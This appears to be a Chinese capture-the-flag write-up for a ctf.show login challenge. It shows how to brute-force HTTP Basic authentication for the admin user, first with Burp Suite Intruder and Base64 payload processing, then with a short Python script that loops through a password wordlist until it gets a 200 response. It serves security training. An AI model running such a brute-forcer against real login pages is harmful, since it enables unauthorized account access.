1.查看题目
是一道登录题,
此题主要考察基础的爆破
方法一:bp爆破
1:假设已知用户名是admin
2:打开代理和Burp Suite,随便输入密码尝试登陆同时利用Burp Suite抓包。
知识点:Authorization请求头
Authorization请求头用于验证是否有从服务器访问所需数据的权限。
3:得到Authorization: Basic YWRtaW46YWRtaW4= 可以看到他数据包是通过加密发送的,并且前面有Basic,对后面的 进行base64解码查看格为 admin:密码
4:查看Authorization请求头观察发现是base64编码 我们将请求包发送到intruder中,选择sniper模式。选择base64内容Authorization: Basic YWRtaW46YWRtaW4=,添加为playload position
5:然后payload选择Custom iterator,根据已知格式,我们设置第一组payload位账号:admin,第二组一个冒号:,第三组密码:密码字典。 接下来设置Payload Processing的base64加密,点击add,选择encode>Base64-encode,最后将PayLoad Encoding取消选择urlencode加密特俗字符串。
6:进行爆破,找到长度不同的即为正确答案。
找到flag。
方法二:自动爆破脚本
import time#用于延时
import requests#用于发送请求
import base64#用于base64编码
url = 'http://ededa0b4-a3d7-43f0-9f06-c8db1fce2434.challenge.ctf.show/index.php'#放入url
password = []#密码列表
with open("1.txt", "r") as f: #读取密码字典/1.txt是字典密码
while True:#循环读取密码字典
data = f.readline() #读取一行
if data:#判断是否为空
password.append(data)#添加到列表
else:#判断是否到达文件末尾
break#结束循环
for p in password:#循环遍历密码列表
strs = 'admin:'+ p[:-1]#拼接用户名和密码
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}#设置请求头
rep =requests.get(url,headers=header)#发送请求
time.sleep(0.2)#延时0.2秒
if rep.status_code ==200:#判断请求是否成功
print(rep.text)#打印响应内容
break